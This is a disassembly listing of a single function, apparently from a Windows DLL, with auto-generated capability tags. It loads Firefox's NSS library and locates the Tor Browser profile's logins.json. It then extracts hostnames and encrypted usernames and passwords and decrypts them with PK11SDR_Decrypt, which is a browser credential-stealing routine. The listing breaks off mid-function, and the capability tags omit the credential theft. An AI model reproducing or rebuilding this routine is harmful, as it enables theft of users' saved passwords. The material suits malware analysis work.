Function at 0x18009b840
Capabilities:
Check if file exists
Get file attributes
Link many functions at runtime
Set current directory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4d0]
sub rsp, 0x5d0
mov r12, rcx
xor edi, edi
xor r15d, r15d
lea rcx, [rbp + 0x470]
mov dword [rbp + 0x528], r15d
mov r14, r8
mov qword [rsp + 0x40], rdi
mov r13, rdx
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], dil
call fcn.1800b8a30
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x18009b8a8
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.nss3.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [rbx + 0x18]
mov rsi, rax
cmp rdx, 0x10
jb 0x18009b8f8
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x18009b8f3
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009d487
mov rcx, r8
call fcn.1800c1180
movaps xmmword [rsp + 0x5c0], xmm6
movaps xmmword [rsp + 0x5b0], xmm7
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], dil
test rsi, rsi
jne 0x18009b9df
xor ebx, ebx
mov qword [r12 + 0x18], 0xf
xor r8d, r8d
mov qword [r12 + 0x10], rbx
lea rdx, [0x1800f99d0]
mov byte [r12], bl
mov rcx, r12
call fcn.1800b8fb0
mov rdx, qword [r13 + 0x18]
cmp rdx, 0x10
jb 0x18009b981
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x18009b97c
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009d481
mov rcx, r8
call fcn.1800c1180
mov qword [r13 + 0x10], rbx
mov byte [r13], bl
mov qword [r13 + 0x18], 0xf
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x18009b9cb
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x18009b9c6
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009d481
mov rcx, r8
call fcn.1800c1180
mov qword [r14 + 0x10], rbx
mov byte [r14], bl
mov qword [r14 + 0x18], 0xf
jmp 0x18009d453
lea rdx, str.NSS_Init
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PL_Base64Decode
mov rcx, rsi
mov qword [0x180119490], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11SDR_Decrypt
mov rcx, rsi
mov qword [0x1801194a8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_Authenticate
mov rcx, rsi
mov qword [0x1801194d0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_GetInternalKeySlot
mov rcx, rsi
mov qword [0x1801194f0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_FreeSlot
mov rcx, rsi
mov qword [0x180119570], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NSS_Shutdown
mov rcx, rsi
mov qword [0x1801194d8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [r13 + 0x10]
lea rcx, [rsp + 0x50]
xor ebx, ebx
mov qword [0x180119498], rax
add rdx, 0x28
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], bl
call fcn.1800ba640
cmp qword [r13 + 0x18], 0x10
mov rdx, r13
jb 0x18009bab4
mov rdx, qword [r13]
mov r8, qword [r13 + 0x10]
lea rcx, [rsp + 0x50]
call fcn.1800b8790
mov r8d, 0x28
lea rdx, str.TorBrowserDataBrowserprofile.default
lea rcx, [rsp + 0x50]
call fcn.1800b8790
cmp qword [rsp + 0x68], 0x10
lea rcx, [rsp + 0x50]
cmovae rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x18009bb86
test al, 0x10
je 0x18009bb86
mov rdx, qword [rsp + 0x60]
lea rcx, [rbp + 0x18]
add rdx, 0xc
mov qword [rbp + 0x28], rbx
mov qword [rbp + 0x30], 0xf
mov byte [rbp + 0x18], bl
call fcn.1800ba640
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, qword [rsp + 0x60]
lea rcx, [rbp + 0x18]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800b8790
mov r8d, 0xc
lea rdx, str.logins.json
lea rcx, [rbp + 0x18]
call fcn.1800b8790
cmp qword [rbp + 0x30], 0x10
lea rcx, [rbp + 0x18]
lea rdx, [0x180103ec0]
cmovae rcx, qword [rbp + 0x18]
call fcn.1800c9258
test rax, rax
je 0x18009bb80
mov rcx, rax
call fcn.1800c92e8
mov bl, 1
mov r15d, 1
test r15b, 1
je 0x18009bbdc
mov rdx, qword [rbp + 0x30]
cmp rdx, 0x10
jb 0x18009bbc7
mov rcx, qword [rbp + 0x18]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009bbc2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d48d
call fcn.1800c1180
xor r15d, r15d
mov qword [rbp + 0x30], 0xf
mov qword [rbp + 0x28], r15
mov byte [rbp + 0x18], dil
jmp 0x18009bbdf
xor r15d, r15d
test bl, bl
je 0x18009d3e2
cmp qword [rsp + 0x68], 0x10
lea rcx, [rsp + 0x50]
cmovae rcx, qword [rsp + 0x50]
call qword [0x180119490]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x490]
call fcn.1800b8a30
mov rcx, rax
call fcn.180091490
mov r12, 0xffffffffffffffff
mov qword [rbp - 0x60], r15
mov r8, r12
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], dil
inc r8
cmp byte [rax + r8], dil
jne 0x18009bc31
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.1800b8fb0
cmp qword [rbp - 0x60], rdi
jbe 0x18009d3a0
mov cl, 1
mov qword [rbp + 0xa0], r15
call fcn.1800c2478
xor edx, edx
mov qword [rbp + 0xc0], rax
lea rcx, [rbp]
call fcn.1800c1ed4
mov rsi, qword [0x180119bd0]
mov r15, qword [0x180119bb8]
mov qword [rbp + 0x38], r15
test rsi, rsi
jne 0x18009bcc8
xor edx, edx
lea rcx, [rbp + 0x528]
call fcn.1800c1ed4
cmp qword [0x180119bd0], rdi
jne 0x18009bcb5
mov eax, dword [0x180117e70]
inc eax
mov dword [0x180117e70], eax
cdqe
mov qword [0x180119bd0], rax
lea rcx, [rbp + 0x528]
call fcn.1800c1f4c
mov rsi, qword [0x180119bd0]
mov rcx, qword [rbp + 0xc0]
cmp rsi, qword [rcx + 0x18]
jae 0x18009bce4
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax + rsi*8]
test rbx, rbx
jne 0x18009bd43
jmp 0x18009bce6
xor ebx, ebx
cmp byte [rcx + 0x24], dil
je 0x18009bcff
call fcn.1800c2470
cmp rsi, qword [rax + 0x18]
jae 0x18009bd04
mov rax, qword [rax + 0x10]
mov rbx, qword [rax + rsi*8]
test rbx, rbx
jne 0x18009bd43
test r15, r15
je 0x18009bd0e
mov rbx, r15
jmp 0x18009bd43
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x38]
call fcn.1800ba210
cmp rax, r12
je 0x18009d493
mov rbx, qword [rbp + 0x38]
mov rcx, rbx
call fcn.1800c2438
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov qword [0x180119bb8], rbx
lea rcx, [rbp]
call fcn.1800c1f4c
lea rcx, [rbp + 0xb8]
mov qword [rbp + 0xa8], rbx
call fcn.1800b91c0
lea r8, [0x180104444]
mov qword [rbp + 0xb0], rax
lea rdx, str._hostname_:_______
lea rcx, [rbp + 0xa0]
call fcn.1800b9900
mov cl, 1
mov qword [rbp + 0x78], rdi
call fcn.1800c2478
xor edx, edx
mov qword [rbp + 0x98], rax
lea rcx, [rbp - 0xc]
call fcn.1800c1ed4
mov rsi, qword [0x180119bd0]
mov r15, qword [0x180119bb8]
mov qword [rbp + 0x48], r15
test rsi, rsi
jne 0x18009bdef
xor edx, edx
lea rcx, [rbp - 0x10]
call fcn.1800c1ed4
cmp qword [0x180119bd0], rdi
jne 0x18009bddf
mov eax, dword [0x180117e70]
inc eax
mov dword [0x180117e70], eax
cdqe
mov qword [0x180119bd0], rax
lea rcx, [rbp - 0x10]
call fcn.1800c1f4c
mov rsi, qword [0x180119bd0]
mov rcx, qword [rbp + 0x98]
cmp rsi, qword [rcx + 0x18]
jae 0x18009be0b
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax + rsi*8]
test rbx, rbx
jne 0x18009be6a
jmp 0x18009be0d
xor ebx, ebx
cmp byte [rcx + 0x24], dil
je 0x18009be26
call fcn.1800c2470
cmp rsi, qword [rax + 0x18]
jae 0x18009be2b
mov rax, qword [rax + 0x10]
mov rbx, qword [rax + rsi*8]
test rbx, rbx
jne 0x18009be6a
test r15, r15
je 0x18009be35
mov rbx, r15
jmp 0x18009be6a
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x48]
call fcn.1800ba210
cmp rax, r12
je 0x18009d499
mov rbx, qword [rbp + 0x48]
mov rcx, rbx
call fcn.1800c2438
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov qword [0x180119bb8], rbx
lea rcx, [rbp - 0xc]
call fcn.1800c1f4c
lea rcx, [rbp + 0x90]
mov qword [rbp + 0x80], rbx
call fcn.1800b91c0
lea r8, [0x180104465]
mov qword [rbp + 0x88], rax
lea rdx, str._encryptedUsername_:_______
lea rcx, [rbp + 0x78]
call fcn.1800b9900
mov cl, 1
mov qword [rbp + 0x50], rdi
call fcn.1800c2478
xor edx, edx
mov qword [rbp + 0x70], rax
lea rcx, [rbp - 4]
call fcn.1800c1ed4
mov rsi, qword [0x180119bd0]
mov r15, qword [0x180119bb8]
mov qword [rbp + 0x40], r15
test rsi, rsi
jne 0x18009bf10
xor edx, edx
lea rcx, [rbp - 8]
call fcn.1800c1ed4
cmp qword [0x180119bd0], rdi
jne 0x18009bf00
mov eax, dword [0x180117e70]
inc eax
mov dword [0x180117e70], eax
cdqe
mov qword [0x180119bd0], rax
lea rcx, [rbp - 8]
call fcn.1800c1f4c
mov rsi, qword [0x180119bd0]
mov rcx, qword [rbp + 0x70]
cmp rsi, qword [rcx + 0x18]
jae 0x18009bf29
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax + rsi*8]
test rbx, rbx
jne 0x18009bf85
jmp 0x18009bf2b
xor ebx, ebx
cmp byte [rcx + 0x24], dil
je 0x18009bf44
call fcn.1800c2470
cmp rsi, qword [rax + 0x18]
jae 0x18009bf49
mov rax, qword [rax + 0x10]
mov rbx, qword [rax + rsi*8]
test rbx, rbx
jne 0x18009bf85
test r15, r15
je 0x18009bf53
mov rbx, r15
jmp 0x18009bf85
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x40]
call fcn.1800ba210
cmp rax, r12
je 0x18009d49f
mov rbx, qword [rbp + 0x40]
mov rcx, rbx
call fcn.1800c2438
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov qword [0x180119bb8], rbx
lea rcx, [rbp - 4]
call fcn.1800c1f4c
lea rcx, [rbp + 0x68]
mov qword [rbp + 0x58], rbx
call fcn.1800b91c0
lea r8, [0x180104485]
mov qword [rbp + 0x60], rax
lea rdx, str._encryptedPassword_:_______
lea rcx, [rbp + 0x50]
call fcn.1800b9900
mov rdx, qword [rbp - 0x58]
lea rbx, [rbp - 0x70]
mov rax, qword [rbp - 0x70]
xor r15d, r15d
xorps xmm0, xmm0
mov qword [rbp + 0xd0], r15
cmp rdx, 0x10
mov byte [rbp + 0xd8], dil
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xe0], xmm0
cmovae rbx, rax
movdqa xmmword [rbp + 0xf0], xmm1
mov qword [rbp + 0x100], r15
movabs rsi, 0x2aaaaaaaaaaaaaab
mov byte [rbp + 0x108], dil
movdqa xmmword [rbp + 0x110], xmm0
mov byte [rbp + 0x120], dil
mov qword [rbp + 0x128], r15
mov qword [rbp + 0x130], r15
mov byte [rbp + 0x138], dil
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], dil
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], dil
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], dil
nop
cmp rdx, 0x10
mov qword [rsp + 0x28], rbx
mov rdx, qword [rbp - 0x60]
lea rcx, [rbp - 0x70]
cmovae rcx, rax
lea r9, [rbp + 0xa0]
add rdx, rcx
lea r8, [rbp + 0xd0]
mov rcx, rbx
call fcn.1800baa80
test al, al
je 0x18009d146
mov rcx, qword [rbp + 0xe8]
mov rax, rsi
mov r8, qword [rbp + 0xe0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x128]
cmp rdx, 1
jbe 0x18009c0cc
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x18009c0de
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x340], xmm0
jmp 0x18009c0e9
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x340], xmm0
mov rdx, qword [rbp + 0x340]
mov eax, 0xf
mov r8, qword [rbp + 0x348]
mov qword [rbp + 0x1b0], r15
mov qword [rbp + 0x1b8], rax
mov byte [rbp + 0x1a0], r15b
cmp rdx, r8
je 0x18009c12c
sub r8, rdx
lea rcx, [rbp + 0x1a0]
call fcn.1800b8fb0
mov rax, qword [rbp + 0x1b8]
cmp rax, 0x10
lea rcx, [rbp + 0x1a0]
cmovae rcx, qword [rbp + 0x1a0]
call fcn.180091dc0
mov r8, r12
inc r8
cmp byte [rax + r8], r15b
jne 0x18009c147
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.1800b8fb0
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0x10
jb 0x18009c19e
mov rcx, qword [rbp + 0x1a0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c199
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d4a5
call fcn.1800c1180
cmp qword [rbp - 0x58], 0x10
lea rcx, [rbp - 0x70]
mov rdx, qword [rbp - 0x60]
lea r9, [rbp + 0x78]
cmovae rcx, qword [rbp - 0x70]
lea r8, [rbp + 0xd0]
add rdx, rcx
mov qword [rsp + 0x28], rbx
mov rcx, rbx
call fcn.1800baa80
mov rcx, qword [rbp + 0xe8]
mov rax, rsi
mov r8, qword [rbp + 0xe0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x128]
cmp rdx, 1
jbe 0x18009c201
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x18009c213
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x370], xmm0
jmp 0x18009c21e
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x370], xmm0
mov rdx, qword [rbp + 0x370]
mov r8, qword [rbp + 0x378]
mov qword [rbp + 0x3c0], r15
mov qword [rbp + 0x3c8], 0xf
mov byte [rbp + 0x3b0], r15b
cmp rdx, r8
je 0x18009c259
sub r8, rdx
lea rcx, [rbp + 0x3b0]
call fcn.1800b8fb0
lea rcx, [rbp + 0x3b0]
call fcn.18009b6b0
mov rcx, rax
call fcn.180091dc0
mov r8, r12
inc r8
cmp byte [rax + r8], r15b
jne 0x18009c270
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.1800b8fb0
cmp qword [rbp - 0x58], 0x10
lea rcx, [rbp - 0x70]
mov rdx, qword [rbp - 0x60]
lea r9, [rbp + 0x50]
cmovae rcx, qword [rbp - 0x70]
lea r8, [rbp + 0xd0]
add rdx, rcx
mov qword [rsp + 0x28], rbx
mov rcx, rbx
call fcn.1800baa80
mov rcx, qword [rbp + 0xe8]
mov rax, rsi
mov r8, qword [rbp + 0xe0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x128]
cmp rdx, 1
jbe 0x18009c2e8
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x18009c2fa
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x380], xmm0
jmp 0x18009c305
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x380], xmm0
mov rdx, qword [rbp + 0x380]
mov r8, qword [rbp + 0x388]
mov qword [rbp + 0x3e0], r15
mov qword [rbp + 0x3e8], 0xf
mov byte [rbp + 0x3d0], r15b
cmp rdx, r8
je 0x18009c340
sub r8, rdx
lea rcx, [rbp + 0x3d0]
call fcn.1800b8fb0
lea rcx, [rbp + 0x3d0]
call fcn.18009b6b0
mov rcx, rax
call fcn.180091dc0
mov r8, r12
inc r8
cmp byte [rax + r8], r15b
jne 0x18009c357
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.1800b8fb0
mov r8d, 8
mov qword [rbp + 0x3a0], r15
cmp qword [rbp - 0x80], r8
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x390]
mov qword [rbp + 0x3a8], 0xf
cmovb r8, qword [rbp - 0x80]
cmp qword [rbp - 0x78], 0x10
mov byte [rbp + 0x390], r15b
cmovae rdx, qword [rsp + 0x70]
call fcn.1800b8fb0
mov rdx, qword [rbp + 0x3a8]
lea rax, [rbp + 0x390]
mov rcx, qword [rbp + 0x390]
cmp rdx, 0x10
cmovae rax, rcx
cmp qword [rbp + 0x3a0], 8
jne 0x18009c3eb
movabs r8, 0x2f2f3a687475616f
cmp qword [rax], r8
jne 0x18009c3eb
xor sil, sil
jmp 0x18009c3ee
mov sil, 1
cmp rdx, 0x10
jb 0x18009c421
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c41c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d4c9
call fcn.1800c1180
test sil, sil
je 0x18009d0c5
mov rax, qword [r14 + 0x18]
mov rcx, r14
cmp rax, 0x10
jb 0x18009c43a
mov rcx, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x18009caa4
cmp byte [rcx], 0x30
jne 0x18009caa4
cmp qword [rbp - 0x80], r15
jne 0x18009c458
mov al, 1
jmp 0x18009c45a
xor al, al
test al, al
jne 0x18009c62c
lea rdx, [rdi + 1]
mov qword [rbp + 0x1d0], r15
lea rcx, [rbp + 0x1c0]
mov qword [rbp + 0x1d8], 0xf
mov byte [rbp + 0x1c0], r15b
call fcn.1800ba640
cmp qword [rsp + 0x48], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x1c0]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f54]
lea rcx, [rbp + 0x1c0]
call fcn.1800b8790
cmp qword [rbp - 0x78], 0x10
lea rdx, [rsp + 0x70]
mov r8, qword [rbp - 0x80]
lea rcx, [rbp + 0x1c0]
cmovae rdx, qword [rsp + 0x70]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f50]
lea rcx, [rbp + 0x1e0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1f0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x410], xmm6
movups xmmword [rbp + 0x420], xmm7
cmp rdx, 0x10
jb 0x18009c582
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c57d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d4ab
call fcn.1800c1180
mov rdx, qword [rbp + 0x1f8]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x18009c5cd
mov rcx, qword [rbp + 0x1e0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c5c8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d4ab
call fcn.1800c1180
mov rdx, qword [rbp + 0x1d8]
mov qword [rbp + 0x1f0], r15
mov qword [rbp + 0x1f8], 0xf
mov byte [rbp + 0x1e0], r15b
cmp rdx, 0x10
jb 0x18009c627
mov rcx, qword [rbp + 0x1c0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c622
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d4ab
call fcn.1800c1180
mov rdi, qword [rsp + 0x40]
cmp qword [rbp - 0x20], r15
jne 0x18009c636
mov al, 1
jmp 0x18009c638
xor al, al
test al, al
jne 0x18009c808
lea rdx, [rdi + 1]
mov qword [rbp + 0x150], r15
lea rcx, [rbp + 0x140]
mov qword [rbp + 0x158], 0xf
mov byte [rbp + 0x140], r15b
call fcn.1800ba640
cmp qword [rsp + 0x48], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x140]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f54]
lea rcx, [rbp + 0x140]
call fcn.1800b8790
cmp qword [rbp - 0x18], 0x10
lea rdx, [rbp - 0x30]
mov r8, qword [rbp - 0x20]
lea rcx, [rbp + 0x140]
cmovae rdx, qword [rbp - 0x30]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f50]
lea rcx, [rbp + 0x200]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x200], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x210], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x430], xmm6
movups xmmword [rbp + 0x440], xmm7
cmp rdx, 0x10
jb 0x18009c75e
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c759
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d4b1
call fcn.1800c1180
mov rdx, qword [rbp + 0x218]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x18009c7a9
mov rcx, qword [rbp + 0x200]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c7a4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d4b1
call fcn.1800c1180
mov rdx, qword [rbp + 0x158]
mov qword [rbp + 0x210], r15
mov qword [rbp + 0x218], 0xf
mov byte [rbp + 0x200], r15b
cmp rdx, 0x10
jb 0x18009c803
mov rcx, qword [rbp + 0x140]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c7fe
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d4b1
call fcn.1800c1180
mov rdi, qword [rsp + 0x40]
cmp qword [rbp - 0x40], r15
jne 0x18009c812
mov al, 1
jmp 0x18009c814
xor al, al
test al, al
jne 0x18009c9e4
lea rdx, [rdi + 1]
mov qword [rbp + 0x170], r15
lea rcx, [rbp + 0x160]
mov qword [rbp + 0x178], 0xf
mov byte [rbp + 0x160], r15b
call fcn.1800ba640
cmp qword [rsp + 0x48], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x160]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f54]
lea rcx, [rbp + 0x160]
call fcn.1800b8790
cmp qword [rbp - 0x38], 0x10
lea rdx, [rbp - 0x50]
mov r8, qword [rbp - 0x40]
lea rcx, [rbp + 0x160]
cmovae rdx, qword [rbp - 0x50]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f50]
lea rcx, [rbp + 0x220]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x220], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x230], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x3f0], xmm6
movups xmmword [rbp + 0x400], xmm7
cmp rdx, 0x10
jb 0x18009c93a
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c935
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d4b7
call fcn.1800c1180
mov rdx, qword [rbp + 0x238]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x18009c985
mov rcx, qword [rbp + 0x220]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c980
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d4b7
call fcn.1800c1180
mov rdx, qword [rbp + 0x178]
mov qword [rbp + 0x230], r15
mov qword [rbp + 0x238], 0xf
mov byte [rbp + 0x220], r15b
cmp rdx, 0x10
jb 0x18009c9df
mov rcx, qword [rbp + 0x160]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c9da
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d4b7
call fcn.1800c1180
mov rdi, qword [rsp + 0x40]
lea rdx, [rdi + 1]
mov qword [rbp + 0x250], r15
lea rcx, [rbp + 0x240]
mov qword [rbp + 0x258], 0xf
mov byte [rbp + 0x240], r15b
call fcn.1800ba640
cmp qword [rsp + 0x48], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x240]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x1800fa9ec]
lea rcx, [rbp + 0x240]
call fcn.1800b8790
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x18009ca83
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009ca7e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d4bd
call fcn.1800c1180
movups xmm1, xmmword [rbp + 0x250]
mov rax, qword [r14 + 0x18]
movups xmm0, xmmword [rbp + 0x240]
movups xmmword [rsp + 0x40], xmm1
mov rdi, qword [rsp + 0x40]
movups xmmword [rsp + 0x30], xmm0
mov rcx, r14
cmp rax, 0x10
jb 0x18009cab0
mov rcx, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x18009cac0
cmp byte [rcx], 0x31
jne 0x18009cac0
mov al, 1
jmp 0x18009cac2
xor al, al
test al, al
je 0x18009d0bf
lea rdx, [rdi + 3]
mov qword [rbp + 0x190], r15
lea rcx, [rbp + 0x180]
mov qword [rbp + 0x198], 0xf
mov byte [rbp + 0x180], r15b
call fcn.1800ba640
cmp qword [rsp + 0x48], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x180]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800b8790
mov r8d, 3
lea rdx, [0x180103f60]
lea rcx, [rbp + 0x180]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f5c]
lea rcx, [rbp + 0x180]
call fcn.1800b8790
mov r8d, 0xa
lea rdx, str.TorBrowser
lea rcx, [rbp + 0x350]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x350], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x360], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
